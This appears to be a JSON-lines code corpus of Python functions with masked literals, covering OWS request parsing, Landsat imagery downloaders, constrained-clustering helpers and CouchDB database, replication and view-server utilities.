{"signature": "def _get_request_type(self):", "body": "value = self.document.tag.lower()<EOL>if value in allowed_request_types[self.params['<STR_LIT>']]:<EOL><INDENT>self.params[\"<STR_LIT>\"] = value<EOL><DEDENT>else:<EOL><INDENT>raise OWSInvalidParameterValue(\"<STR_LIT>\" % value, value=\"<STR_LIT>\")<EOL><DEDENT>return self.params[\"<STR_LIT>\"]<EOL>", "docstring": "Find requested request type in POST request.", "id": "f13851:c3:m2"}
{"signature": "def _get_version(self):", "body": "if \"<STR_LIT:version>\" in self.document.attrib:<EOL><INDENT>value = self.document.attrib[\"<STR_LIT:version>\"].lower()<EOL>if value in allowed_versions[self.params['<STR_LIT>']]:<EOL><INDENT>self.params[\"<STR_LIT:version>\"] = value<EOL><DEDENT>else:<EOL><INDENT>raise OWSInvalidParameterValue(\"<STR_LIT>\" % value, value=\"<STR_LIT:version>\")<EOL><DEDENT><DEDENT>elif self._get_request_type() == \"<STR_LIT>\":<EOL><INDENT>self.params[\"<STR_LIT:version>\"] = None<EOL><DEDENT>else:<EOL><INDENT>raise OWSMissingParameterValue('<STR_LIT>', value=\"<STR_LIT:version>\")<EOL><DEDENT>return self.params[\"<STR_LIT:version>\"]<EOL>", "docstring": "Find requested version in POST request.", "id": "f13851:c3:m3"}
{"signature": "def get_random_name(retry=False):", "body": "name = \"<STR_LIT>\" % (left[random.randint(<NUM_LIT:0>, len(left) - <NUM_LIT:1>)], right[random.randint(<NUM_LIT:0>, len(right) - <NUM_LIT:1>)])<EOL>if retry is True:<EOL><INDENT>name = \"<STR_LIT>\" % (name, random.randint(<NUM_LIT:0>, <NUM_LIT:100>))<EOL><DEDENT>return name<EOL>", "docstring": "generates a random name from the list of adjectives and birds in this package\nformatted as \"adjective_surname\". For example 'loving_sugarbird'. If retry is non-zero, a random\ninteger between 0 and 100 will be added to the end of the name, e.g `loving_sugarbird3`", "id": "f13853:m0"}
{"signature": "def get_state(self):", "body": "return [os.path.join(dp, f)<EOL>for dp, _, fn in os.walk(self.dir)<EOL>for f in fn]<EOL>", "docstring": "Get the current directory state", "id": "f13862:c0:m1"}
{"signature": "def tick(self):", "body": "self.current += <NUM_LIT:1><EOL>if self.current == self.factor:<EOL><INDENT>sys.stdout.write('<STR_LIT:+>')<EOL>sys.stdout.flush()<EOL>self.current = <NUM_LIT:0><EOL><DEDENT>", "docstring": "Add one tick to progress bar", "id": "f13862:c1:m2"}
{"signature": "def attrs_sqlalchemy(maybe_cls=None):", "body": "def wrap(cls):<EOL><INDENT>warnings.warn(UserWarning('<STR_LIT>'))<EOL>these = {<EOL>name: attr.ib()<EOL>for name in inspect(cls).columns.keys()<EOL>}<EOL>return attr.s(cls, these=these, init=False)<EOL><DEDENT>if maybe_cls is None:<EOL><INDENT>return wrap<EOL><DEDENT>else:<EOL><INDENT>return wrap(maybe_cls)<EOL><DEDENT>", "docstring": "A class decorator that adds ``__repr__``, ``__eq__``, ``__cmp__``, and\n``__hash__`` methods according to the fields defined on the SQLAlchemy\nmodel class.", "id": "f13868:m0"}
{"signature": "def read(*parts):", "body": "with codecs.open(os.path.join(HERE, *parts), '<STR_LIT:rb>', '<STR_LIT:utf-8>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Build an absolute path from *parts* and and return the contents of the\nresulting file.  Assume UTF-8 encoding.", "id": "f13869:m0"}
{"signature": "def find_meta(meta):", "body": "meta_match = re.search(<EOL>r\"<STR_LIT>\".format(meta=meta),<EOL>META_FILE, re.M<EOL>)<EOL>if meta_match:<EOL><INDENT>return meta_match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError('<STR_LIT>'.format(meta=meta))<EOL>", "docstring": "Extract __*meta*__ from META_FILE.", "id": "f13869:m1"}
{"signature": "def check_create_folder(folder_path):", "body": "if not exists(folder_path):<EOL><INDENT>makedirs(folder_path)<EOL><DEDENT>return folder_path<EOL>", "docstring": "Check whether a folder exists, if not the folder is created.\n    Always return folder_path.", "id": "f13874:m0"}
{"signature": "def fetch(self, url, path, filename):", "body": "logger.debug('<STR_LIT>', url)<EOL>remote_file_size = self.get_remote_file_size(url)<EOL>if exists(join(path, filename)):<EOL><INDENT>size = getsize(join(path, filename))<EOL>if size == remote_file_size:<EOL><INDENT>logger.error('<STR_LIT>' % filename)<EOL>print('<STR_LIT>' % filename)<EOL>return [join(path, filename), size]<EOL><DEDENT><DEDENT>logger.debug('<STR_LIT>' % filename)<EOL>print('<STR_LIT>' % filename)<EOL>fetch(url, path)<EOL>print('<STR_LIT>' % path)<EOL>logger.debug('<STR_LIT>' % path)<EOL>return [join(path, filename), remote_file_size]<EOL>", "docstring": "Verify if the file is already downloaded and complete. If they don't\n        exists or if are not complete, use homura download function to fetch\n        files. Return a list with the path of the downloaded file and the size\n        of the remote file.", "id": "f13874:c1:m1"}
{"signature": "def remote_file_exists(self, url):", "body": "return requests.head(url).status_code == <NUM_LIT:200><EOL>", "docstring": "Check whether the remote file exists on Storage", "id": "f13874:c1:m2"}
{"signature": "def get_remote_file_size(self, url):", "body": "headers = requests.head(url).headers<EOL>return int(headers['<STR_LIT>'])<EOL>", "docstring": "Gets the filesize of a remote file", "id": "f13874:c1:m3"}
{"signature": "def validate_bands(self, bands):", "body": "if not isinstance(bands, list):<EOL><INDENT>logger.error('<STR_LIT>')<EOL>raise TypeError('<STR_LIT>')<EOL><DEDENT>valid_bands = list(range(<NUM_LIT:1>, <NUM_LIT:12>)) + ['<STR_LIT>']<EOL>for band in bands:<EOL><INDENT>if band not in valid_bands:<EOL><INDENT>logger.error('<STR_LIT>' % band)<EOL>raise InvalidBandError('<STR_LIT>' % band)<EOL><DEDENT><DEDENT>", "docstring": "Validate bands parameter.", "id": "f13874:c1:m4"}
{"signature": "def validate_sceneInfo(self):", "body": "if self.sceneInfo.prefix not in self.__satellitesMap:<EOL><INDENT>logger.error('<STR_LIT>'<EOL>% (self.sceneInfo.name, self.sceneInfo.prefix))<EOL>raise WrongSceneNameError('<STR_LIT>'<EOL>% (self.sceneInfo.name, self.sceneInfo.prefix))<EOL><DEDENT>", "docstring": "Check scene name and whether remote file exists. Raises\n        WrongSceneNameError if the scene name is wrong.", "id": "f13874:c2:m1"}
{"signature": "def remote_file_exists(self):", "body": "return super(GoogleDownloader, self).remote_file_exists(self.remote_file_url)<EOL>", "docstring": "Verify if the remote file exists. Returns True or False.", "id": "f13874:c2:m2"}
{"signature": "def download(self, bands, download_dir=None, metadata=False):", "body": "super(GoogleDownloader, self).validate_bands(bands)<EOL>pattern = re.compile('<STR_LIT>', re.I)<EOL>image_list = []<EOL>band_list = ['<STR_LIT>' % (i,) if isinstance(i, int) else i for i in bands]<EOL>if download_dir is None:<EOL><INDENT>download_dir = DOWNLOAD_DIR<EOL><DEDENT>check_create_folder(join(download_dir, self.sceneInfo.name))<EOL>filename = \"<STR_LIT>\" % (self.sceneInfo.name, self.__remote_file_ext)<EOL>downloaded = self.fetch(self.remote_file_url, download_dir, filename)<EOL>try:<EOL><INDENT>tar = tarfile.open(downloaded[<NUM_LIT:0>], '<STR_LIT:r>')<EOL>folder_path = join(download_dir, self.sceneInfo.name)<EOL>logger.debug('<STR_LIT>', folder_path)<EOL>tar.extractall(folder_path)<EOL>remove(downloaded[<NUM_LIT:0>])<EOL>images_path = listdir(folder_path)<EOL>for image_path in images_path:<EOL><INDENT>matched = pattern.match(image_path)<EOL>file_path = join(folder_path, image_path)<EOL>if matched and matched.group(<NUM_LIT:1>) in band_list:<EOL><INDENT>image_list.append([file_path, getsize(file_path)])<EOL><DEDENT>elif matched:<EOL><INDENT>remove(file_path)<EOL><DEDENT><DEDENT><DEDENT>except tarfile.ReadError as error:<EOL><INDENT>logger.error('<STR_LIT>', error)<EOL>print('<STR_LIT>')<EOL><DEDENT>return image_list<EOL>", "docstring": "Download remote .tar.bz file.", "id": "f13874:c2:m3"}
{"signature": "def validate_sceneInfo(self):", "body": "if self.sceneInfo.prefix not in self.__prefixesValid:<EOL><INDENT>raise WrongSceneNameError('<STR_LIT>'<EOL>% (self.sceneInfo.name, self.sceneInfo.prefix))<EOL><DEDENT>", "docstring": "Check whether sceneInfo is valid to download from AWS Storage.", "id": "f13874:c3:m1"}
{"signature": "def remote_file_exists(self):", "body": "url = join(self.base_url, '<STR_LIT>')<EOL>return super(AWSDownloader, self).remote_file_exists(url)<EOL>", "docstring": "Verify whether the file (scene) exists on AWS Storage.", "id": "f13874:c3:m2"}
{"signature": "def download(self, bands, download_dir=None, metadata=False):", "body": "super(AWSDownloader, self).validate_bands(bands)<EOL>if download_dir is None:<EOL><INDENT>download_dir = DOWNLOAD_DIR<EOL><DEDENT>dest_dir = check_create_folder(join(download_dir, self.sceneInfo.name))<EOL>downloaded = []<EOL>for band in bands:<EOL><INDENT>if band == '<STR_LIT>':<EOL><INDENT>filename = '<STR_LIT>' % (self.sceneInfo.name, band, self.__remote_file_ext)<EOL><DEDENT>else:<EOL><INDENT>filename = '<STR_LIT>' % (self.sceneInfo.name, band, self.__remote_file_ext)<EOL><DEDENT>band_url = join(self.base_url, filename)<EOL>downloaded.append(self.fetch(band_url, dest_dir, filename))<EOL><DEDENT>if metadata:<EOL><INDENT>filename = '<STR_LIT>' % (self.sceneInfo.name)<EOL>url = join(self.base_url, filename)<EOL>self.fetch(url, dest_dir, filename)<EOL><DEDENT>return downloaded<EOL>", "docstring": "Download each specified band and metadata.", "id": "f13874:c3:m3"}
{"signature": "def validate_bands(self, bands):", "body": "if not isinstance(bands, list):<EOL><INDENT>logger.error('<STR_LIT>')<EOL>raise TypeError('<STR_LIT>')<EOL><DEDENT>valid_bands = list(range(<NUM_LIT:1>, <NUM_LIT:12>)) + ['<STR_LIT>']<EOL>for band in bands:<EOL><INDENT>if band not in valid_bands:<EOL><INDENT>logger.error('<STR_LIT>' % band)<EOL>raise InvalidBandError('<STR_LIT>' % band)<EOL><DEDENT><DEDENT>", "docstring": "Validate bands parameter.", "id": "f13874:c3:m4"}
{"signature": "def preprocess_constraints(ml, cl, n):", "body": "<EOL>ml_graph, cl_graph = {}, {}<EOL>for i in range(n):<EOL><INDENT>ml_graph[i] = set()<EOL>cl_graph[i] = set()<EOL><DEDENT>def add_both(d, i, j):<EOL><INDENT>d[i].add(j)<EOL>d[j].add(i)<EOL><DEDENT>for (i, j) in ml:<EOL><INDENT>ml_graph[i].add(j)<EOL>ml_graph[j].add(i)<EOL><DEDENT>for (i, j) in cl:<EOL><INDENT>cl_graph[i].add(j)<EOL>cl_graph[j].add(i)<EOL><DEDENT>def dfs(i, graph, visited, component):<EOL><INDENT>visited[i] = True<EOL>for j in graph[i]:<EOL><INDENT>if not visited[j]:<EOL><INDENT>dfs(j, graph, visited, component)<EOL><DEDENT><DEDENT>component.append(i)<EOL><DEDENT>visited = [False] * n<EOL>neighborhoods = []<EOL>for i in range(n):<EOL><INDENT>if not visited[i] and ml_graph[i]:<EOL><INDENT>component = []<EOL>dfs(i, ml_graph, visited, component)<EOL>for x1 in component:<EOL><INDENT>for x2 in component:<EOL><INDENT>if x1 != x2:<EOL><INDENT>ml_graph[x1].add(x2)<EOL><DEDENT><DEDENT><DEDENT>neighborhoods.append(component)<EOL><DEDENT><DEDENT>for (i, j) in cl:<EOL><INDENT>for x in ml_graph[i]:<EOL><INDENT>add_both(cl_graph, x, j)<EOL><DEDENT>for y in ml_graph[j]:<EOL><INDENT>add_both(cl_graph, i, y)<EOL><DEDENT>for x in ml_graph[i]:<EOL><INDENT>for y in ml_graph[j]:<EOL><INDENT>add_both(cl_graph, x, y)<EOL><DEDENT><DEDENT><DEDENT>for i in ml_graph:<EOL><INDENT>for j in ml_graph[i]:<EOL><INDENT>if j != i and j in cl_graph[i]:<EOL><INDENT>raise InconsistentConstraintsException('<STR_LIT>'.format(i, j))<EOL><DEDENT><DEDENT><DEDENT>return ml_graph, cl_graph, neighborhoods<EOL>", "docstring": "Create a graph of constraints for both must- and cannot-links", "id": "f13878:m0"}
{"signature": "def _dist(self, x, y, A):", "body": "return scipy.spatial.distance.mahalanobis(x, y, A) ** <NUM_LIT:2><EOL>", "docstring": "(x - y)^T A (x - y)", "id": "f13880:c0:m4"}
{"signature": "def _dist(self, x, y, A):", "body": "return scipy.spatial.distance.mahalanobis(x, y, A) ** <NUM_LIT:2><EOL>", "docstring": "(x - y)^T A (x - y)", "id": "f13883:c0:m4"}
{"signature": "def query(self, i, j):", "body": "if self.queries_cnt < self.max_queries_cnt:<EOL><INDENT>self.queries_cnt += <NUM_LIT:1><EOL>return self.labels[i] == self.labels[j]<EOL><DEDENT>else:<EOL><INDENT>raise MaximumQueriesExceeded<EOL><DEDENT>", "docstring": "Query the oracle to find out whether i and j should be must-linked", "id": "f13891:c1:m1"}
{"signature": "def compact(db_spec, poll_interval=<NUM_LIT:0>):", "body": "server = get_server_from_specifier(db_spec)<EOL>db = get_db_from_specifier(db_spec)<EOL>logger = logging.getLogger('<STR_LIT>')<EOL>logger.info('<STR_LIT>' % (db_spec,<EOL>repr_bytes(db.info()['<STR_LIT>']),))<EOL>logger.debug('<STR_LIT>' + urlparse.urljoin(db.resource.uri + '<STR_LIT:/>', '<STR_LIT>'))<EOL>resp_headers, resp_body = db.resource.post('<STR_LIT>')<EOL>if not poll_interval:<EOL><INDENT>if not (resp_body.get('<STR_LIT>', False) and<EOL>resp_headers['<STR_LIT:status>'] == '<STR_LIT>'):<EOL><INDENT>err = CompactionError('<STR_LIT>')<EOL>err.response = (resp_headers, resp_body)<EOL>raise err<EOL><DEDENT>def check_completed():<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>')<EOL>logger.debug('<STR_LIT>' + db.resource.uri + '<STR_LIT:/>')<EOL>db_info = db.info()<EOL>completed = not db_info.get('<STR_LIT>', False)<EOL>if completed and db_info.get('<STR_LIT>', None):<EOL><INDENT>logger.info('<STR_LIT>' % (db_spec,<EOL>repr_bytes(db_info['<STR_LIT>'])))<EOL><DEDENT>return completed<EOL><DEDENT>return check_completed<EOL><DEDENT>elif poll_interval > <NUM_LIT:0>:<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>')<EOL>logger.debug('<STR_LIT>' + db.resource.uri + '<STR_LIT:/>')<EOL>running = db.info().get('<STR_LIT>', False)<EOL>while running:<EOL><INDENT>time.sleep(poll_interval)<EOL>logger.debug(<EOL>'<STR_LIT>')<EOL>logger.debug('<STR_LIT>' + db.resource.uri + '<STR_LIT:/>')<EOL>running = db.info().get('<STR_LIT>', False)<EOL><DEDENT>size_after = db.info().get('<STR_LIT>', None)<EOL>if size_after:<EOL><INDENT>logger.info('<STR_LIT>' % (db_spec,<EOL>repr_bytes(size_after)))<EOL><DEDENT>return True<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Compact a CouchDB database with optional synchronicity.\n\nThe ``compact`` function will compact a CouchDB database stored on an\nrunning CouchDB server. By default, this process occurs *asynchronously*,\nmeaning that the compaction will occur in the background. Often, you'll want\nto know when the process has completed; for this reason, ``compact`` will\nreturn a function which, when called, will return the state of the\ncompaction. If it has completed, ``True`` will be returned; otherwise,\n``False``. This may be called multiple times.\n\nAlternatively, you may opt to run ``compact`` in synchronous mode, for\ndebugging or profiling purposes. If this is the case, an optional keyword\nargument ``poll_interval`` is accepted, which should be a number (in\nseconds) representing the time to take between polls. A sensible default\nmay be around 0.5 (seconds).\n\nBecause this function operates on database specifiers, you can choose to\noperate on the local server or any remote server.", "id": "f13901:m0"}
{"signature": "def specifier_to_db(db_spec):", "body": "local_match = LOCAL_RE.match(db_spec)<EOL>remote_match = REMOTE_RE.match(db_spec)<EOL>plain_match = PLAIN_RE.match(db_spec)<EOL>if local_match:<EOL><INDENT>return local_match.groupdict()['<STR_LIT>']<EOL><DEDENT>elif remote_match:<EOL><INDENT>hostname, portnum, database = map(remote_match.groupdict().get,<EOL>('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>local_url = settings._('<STR_LIT>', '<STR_LIT>')<EOL>localhost, localport = urlparse.urlparse(local_url)[<NUM_LIT:1>].split('<STR_LIT::>')<EOL>if (localhost == hostname) and (localport == portnum):<EOL><INDENT>return database<EOL><DEDENT>return '<STR_LIT>' % (hostname, portnum, database)<EOL><DEDENT>elif plain_match:<EOL><INDENT>return plain_match.groupdict()['<STR_LIT>']<EOL><DEDENT>raise ValueError('<STR_LIT>' % (db_spec,))<EOL>", "docstring": "Return the database string for a database specifier.\n\nThe database specifier takes a custom format for specifying local and remote\ndatabases. A local database is specified by the following format:\n\n    local:<db_name>\n\nFor example, a database called 'sessions' would be specified by the string\n``'local:sessions'``. Remote databases are specified like this:\n\n    remote:<host>:<port_num>:<db_name>\n\nFor example, a database called 'log' on the server 'dev.example.com' at port\nnumber 5984 would be specified by ``'remote:dev.example.com:5984:log'``.\n\nThese specifiers are translated into strings acceptable to CouchDB; local\nspecs are turned into the database name alone, and remote specs are turned\ninto ``'http://host:port/db_name'`` URLs.", "id": "f13902:m0"}
{"signature": "def db_to_specifier(db_string):", "body": "local_match = PLAIN_RE.match(db_string)<EOL>remote_match = URL_RE.match(db_string)<EOL>if local_match:<EOL><INDENT>return '<STR_LIT>' + local_match.groupdict()['<STR_LIT>']<EOL><DEDENT>elif remote_match:<EOL><INDENT>hostname, portnum, database = map(remote_match.groupdict().get,<EOL>('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>local_url = settings._('<STR_LIT>', '<STR_LIT>')<EOL>localhost, localport = urlparse.urlparse(local_url)[<NUM_LIT:1>].split('<STR_LIT::>')<EOL>if (localhost == hostname) and (localport == portnum):<EOL><INDENT>return '<STR_LIT>' + database<EOL><DEDENT>return '<STR_LIT>' % (hostname, portnum, database)<EOL><DEDENT>raise ValueError('<STR_LIT>' % (db_string,))<EOL>", "docstring": "Return the database specifier for a database string.\n\nThis accepts a database name or URL, and returns a database specifier in the\nformat accepted by ``specifier_to_db``. It is recommended that you consult\nthe documentation for that function for an explanation of the format.", "id": "f13902:m1"}
{"signature": "def get_server_from_db(db_string):", "body": "local_match = PLAIN_RE.match(db_string)<EOL>remote_match = URL_RE.match(db_string)<EOL>if local_match:<EOL><INDENT>return shortcuts.get_server()<EOL><DEDENT>elif remote_match:<EOL><INDENT>hostname, portnum, database = map(remote_match.groupdict().get,<EOL>('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>local_url = settings._('<STR_LIT>', '<STR_LIT>')<EOL>localhost, localport = urlparse.urlparse(local_url)[<NUM_LIT:1>].split('<STR_LIT::>')<EOL>if (localhost == hostname) and (localport == portnum):<EOL><INDENT>return shortcuts.get_server()<EOL><DEDENT>return shortcuts.get_server(<EOL>server_url=('<STR_LIT>' % (hostname, portnum)))<EOL><DEDENT>raise ValueError('<STR_LIT>' % (db_string,))<EOL>", "docstring": "Return a CouchDB server instance from a database string.", "id": "f13902:m2"}
{"signature": "def get_server_from_specifier(db_spec):", "body": "return get_server_from_db(specifier_to_db(db_spec))<EOL>", "docstring": "Return a CouchDB server instance from a database specifier.", "id": "f13902:m3"}
{"signature": "def get_db_from_db(db_string):", "body": "server = get_server_from_db(db_string)<EOL>local_match = PLAIN_RE.match(db_string)<EOL>remote_match = URL_RE.match(db_string)<EOL>if local_match:<EOL><INDENT>return server[local_match.groupdict()['<STR_LIT>']]<EOL><DEDENT>elif remote_match:<EOL><INDENT>return server[remote_match.groupdict()['<STR_LIT>']]<EOL><DEDENT>raise ValueError('<STR_LIT>' % (db_string,))<EOL>", "docstring": "Return a CouchDB database instance from a database string.", "id": "f13902:m4"}
{"signature": "def get_db_from_specifier(db_spec):", "body": "return get_db_from_db(specifier_to_db(db_spec))<EOL>", "docstring": "Return a CouchDB database instance from a database specifier.", "id": "f13902:m5"}
{"signature": "def ensure_specifier_exists(db_spec):", "body": "local_match = LOCAL_RE.match(db_spec)<EOL>remote_match = REMOTE_RE.match(db_spec)<EOL>plain_match = PLAIN_RE.match(db_spec)<EOL>if local_match:<EOL><INDENT>db_name = local_match.groupdict().get('<STR_LIT>')<EOL>server = shortcuts.get_server()<EOL>if db_name not in server:<EOL><INDENT>server.create(db_name)<EOL><DEDENT>return True<EOL><DEDENT>elif remote_match:<EOL><INDENT>hostname, portnum, database = map(remote_match.groupdict().get,<EOL>('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>server = shortcuts.get_server(<EOL>server_url=('<STR_LIT>' % (hostname, portnum)))<EOL>if database not in server:<EOL><INDENT>server.create(database)<EOL><DEDENT>return True<EOL><DEDENT>elif plain_match:<EOL><INDENT>db_name = plain_match.groupdict().get('<STR_LIT>')<EOL>server = shortcuts.get_server()<EOL>if db_name not in server:<EOL><INDENT>server.create(db_name)<EOL><DEDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Make sure a DB specifier exists, creating it if necessary.", "id": "f13902:m6"}
{"signature": "def ensure_db_exists(db_string):", "body": "return ensure_specifier_exists(db_to_specifier(db_string))<EOL>", "docstring": "Make sure a DB string exists, creating it if necessary.", "id": "f13902:m7"}
{"signature": "def replicate_existing(source_db, target_db):", "body": "<EOL>server = shortcuts.get_server()<EOL>logger = logging.getLogger('<STR_LIT>')<EOL>logger.debug('<STR_LIT>' + urllib.parse.urljoin(server.resource.uri, '<STR_LIT>'))<EOL>source, target = specifier_to_db(source_db), specifier_to_db(target_db)<EOL>logger.debug('<STR_LIT>' % (source,))<EOL>logger.debug('<STR_LIT>' % (target,))<EOL>try:<EOL><INDENT>resp_headers, resp_body = server.resource.post(path='<STR_LIT>',<EOL>content=json.dumps({'<STR_LIT:source>': source, '<STR_LIT:target>': target}))<EOL><DEDENT>except couchdb.client.ServerError as exc:<EOL><INDENT>logger.error('<STR_LIT>')<EOL>raise ReplicationError(exc.args)<EOL><DEDENT>result = resp_body['<STR_LIT>'][<NUM_LIT:0>]<EOL>if resp_body['<STR_LIT>']:<EOL><INDENT>logger.info('<STR_LIT>' % (<EOL>resp_body['<STR_LIT>'][:<NUM_LIT:6>],))<EOL>logger.info('<STR_LIT>' + result['<STR_LIT>'])<EOL>logger.info('<STR_LIT>' + result['<STR_LIT>'])<EOL>result['<STR_LIT>'] = datetime.datetime.strptime(result['<STR_LIT>'],<EOL>'<STR_LIT>')<EOL>result['<STR_LIT>'] = datetime.datetime.strptime(result['<STR_LIT>'],<EOL>'<STR_LIT>')<EOL>timedelta = result['<STR_LIT>'] - result['<STR_LIT>']<EOL>if timedelta.days:<EOL><INDENT>logger.info('<STR_LIT>' % (<EOL>timedelta.days,<EOL>timedelta.seconds + (timedelta.microseconds * (<NUM_LIT>))))<EOL><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>' % (<EOL>timedelta.seconds + (timedelta.microseconds * (<NUM_LIT>))))<EOL><DEDENT>result['<STR_LIT>'] = resp_body['<STR_LIT>']<EOL>result['<STR_LIT>'] = resp_body['<STR_LIT>']<EOL>result['<STR_LIT>'] = resp_body['<STR_LIT>']<EOL>if result['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>docs_read = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>docs_read = '<STR_LIT>' % (result['<STR_LIT>'],)<EOL><DEDENT>if result['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>docs_written = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>docs_written = '<STR_LIT>' % (result['<STR_LIT>'],)<EOL><DEDENT>if result['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>missing_checked = '<STR_LIT>' % (<EOL>result['<STR_LIT>'],)<EOL><DEDENT>else:<EOL><INDENT>missing_checked = '<STR_LIT>' % (<EOL>result['<STR_LIT>'], result['<STR_LIT>'],)<EOL><DEDENT>logging.info('<STR_LIT>' % (docs_read, docs_written))<EOL>logging.info(missing_checked)<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>logger.error('<STR_LIT>' % (<EOL>resp_body['<STR_LIT>'][:<NUM_LIT:6>],))<EOL>result['<STR_LIT>'] = resp_body['<STR_LIT>']<EOL>result['<STR_LIT>'] = resp_body['<STR_LIT>']<EOL>result['<STR_LIT>'] = resp_body['<STR_LIT>']<EOL>raise ReplicationFailure(resp_headers, result)<EOL><DEDENT>", "docstring": "Replicate an existing database to another existing database.", "id": "f13903:m0"}
{"signature": "def replicate(source_spec, target_spec):", "body": "ensure_specifier_exists(target_spec)<EOL>return replicate_existing(source_spec, target_spec)<EOL>", "docstring": "Replicate one existing database to another (optionally existing) DB.", "id": "f13903:m1"}
{"signature": "def get_server(server_url='<STR_LIT>'):", "body": "return couchdb.client.Server(<EOL>server_url if server_url else settings._('<STR_LIT>'))<EOL>", "docstring": "Return a CouchDB server instance based on Django project settings.", "id": "f13904:m0"}
{"signature": "def get_db(db_name, server_url='<STR_LIT>'):", "body": "return get_server(server_url)[db_name]<EOL>", "docstring": "Return a CouchDB database instance, given its name.", "id": "f13904:m1"}
{"signature": "def get_doc(doc_id, db_name, server_url='<STR_LIT>', rev=None):", "body": "db = get_server(server_url)[db_name]<EOL>if rev:<EOL><INDENT>headers, response = db.resource.get(doc_id, rev=rev)<EOL>return couchdb.client.Document(response)<EOL><DEDENT>return db[doc_id]<EOL>", "docstring": "Return a CouchDB document, given its ID, revision and database name.", "id": "f13904:m2"}
{"signature": "def get_or_create_db(db_name, server_url='<STR_LIT>'):", "body": "server = get_server(server_url)<EOL>if db_name in server:<EOL><INDENT>return server[db_name]<EOL><DEDENT>return server.create(db_name)<EOL>", "docstring": "Return an (optionally existing) CouchDB database instance.", "id": "f13904:m3"}
{"signature": "def generator_to_list(function):", "body": "def wrapper(*args, **kwargs):<EOL><INDENT>return list(function(*args, **kwargs))<EOL><DEDENT>wrapper.__name__ = function.__name__<EOL>wrapper.__doc__ = function.__doc__<EOL>return wrapper<EOL>", "docstring": "Wrap a generator function so that it returns a list when called.\n\nFor example:\n\n    # Define a generator\n    >>> def mygen(n):\n    ...     i = 0\n    ...     while i < n:\n    ...         yield i\n    ...         i += 1\n    # This is how it might work\n    >>> generator = mygen(5)\n    >>> generator.next()\n    0\n    >>> generator.next()\n    1\n    # Wrap it in generator_to_list, and it will behave differently.\n    >>> mygen = generator_to_list(mygen)\n    >>> mygen(5)\n    [0, 1, 2, 3, 4]", "id": "f13909:m0"}
{"signature": "def logrotate(filename):", "body": "match = re.match(r'<STR_LIT>' + re.escape(os.path.extsep) + r'<STR_LIT>', filename)<EOL>if os.path.exists(filename):<EOL><INDENT>if match:<EOL><INDENT>prefix, number = match.groups()<EOL>number = int(number)<EOL>while os.path.exists(os.path.extsep.join((prefix, str(number)))):<EOL><INDENT>number += <NUM_LIT:1><EOL><DEDENT>return os.path.extsep.join((prefix, str(number)))<EOL><DEDENT><DEDENT>elif match:<EOL><INDENT>return filename<EOL><DEDENT>return logrotate(os.path.extsep.join((filename, '<STR_LIT:0>')))<EOL>", "docstring": "Return the next available filename for a particular filename prefix.\n\nFor example:\n\n    >>> import os\n    # Make three (empty) files in a directory\n    >>> fp0 = open('file.0', 'w')\n    >>> fp1 = open('file.1', 'w')\n    >>> fp2 = open('file.2', 'w')\n    >>> fp0.close(), fp1.close(), fp2.close()\n    (None, None, None)\n    # Use logrotate to get the next available filename.\n    >>> logrotate('file')\n    'file.3'\n    >>> logrotate('file.2')\n    'file.3'\n    >>> logrotate('file.1')\n    'file.3'\n\nThis can be used to get the next available filename for logging, allowing\nyou to rotate log files, without using Python's ``logging`` module.", "id": "f13909:m1"}
{"signature": "def get_function(function_name):", "body": "module, basename = str(function_name).rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>try:<EOL><INDENT>return getattr(__import__(module, fromlist=[basename]), basename)<EOL><DEDENT>except (ImportError, AttributeError):<EOL><INDENT>raise FunctionNotFound(function_name)<EOL><DEDENT>", "docstring": "Given a Python function name, return the function it refers to.", "id": "f13910:m0"}
{"signature": "def one_lineify(json_data):", "body": "<EOL>return json_data.replace('<STR_LIT:\\n>', '<STR_LIT:U+0020>').replace('<STR_LIT:\\r>', '<STR_LIT:U+0020>')<EOL>", "docstring": "Prevent JSON data from taking up multiple lines.", "id": "f13910:m1"}
{"signature": "def js_error(exc):", "body": "<EOL>return json.dumps({<EOL>'<STR_LIT:error>': type(exc).__name__,<EOL>'<STR_LIT>': str(exc)})<EOL>", "docstring": "Transform a Python exception into a CouchDB JSON error.", "id": "f13910:m2"}
{"signature": "def handle_reset(self):", "body": "self.functions.clear()<EOL>self.function_counter = <NUM_LIT:0><EOL>", "docstring": "Reset the current function list.", "id": "f13910:c2:m0"}
{"signature": "def handle_add_fun(self, function_name):", "body": "function_name = function_name.strip()<EOL>try:<EOL><INDENT>function = get_function(function_name)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>self.wfile.write(js_error(exc) + NEWLINE)<EOL>return<EOL><DEDENT>if not getattr(function, '<STR_LIT>', None):<EOL><INDENT>self.functions[function_name] = (self.function_counter, function)<EOL><DEDENT>else:<EOL><INDENT>self.functions[function_name] = (self.function_counter,<EOL>function(self.log))<EOL><DEDENT>self.function_counter += <NUM_LIT:1><EOL>return True<EOL>", "docstring": "Add a function to the function list, in order.", "id": "f13910:c2:m1"}
{"signature": "@utils.generator_to_list<EOL><INDENT>def handle_map_doc(self, document):<DEDENT>", "body": "<EOL>for function in sorted(list(self.functions.values()), key=lambda x: x[<NUM_LIT:0>]):<EOL><INDENT>try:<EOL><INDENT>yield [list(function(document))]<EOL><DEDENT>except Exception as exc:<EOL><INDENT>yield []<EOL>self.log(repr(exc))<EOL><DEDENT><DEDENT>", "docstring": "Return the mapping of a document according to the function list.", "id": "f13910:c2:m2"}
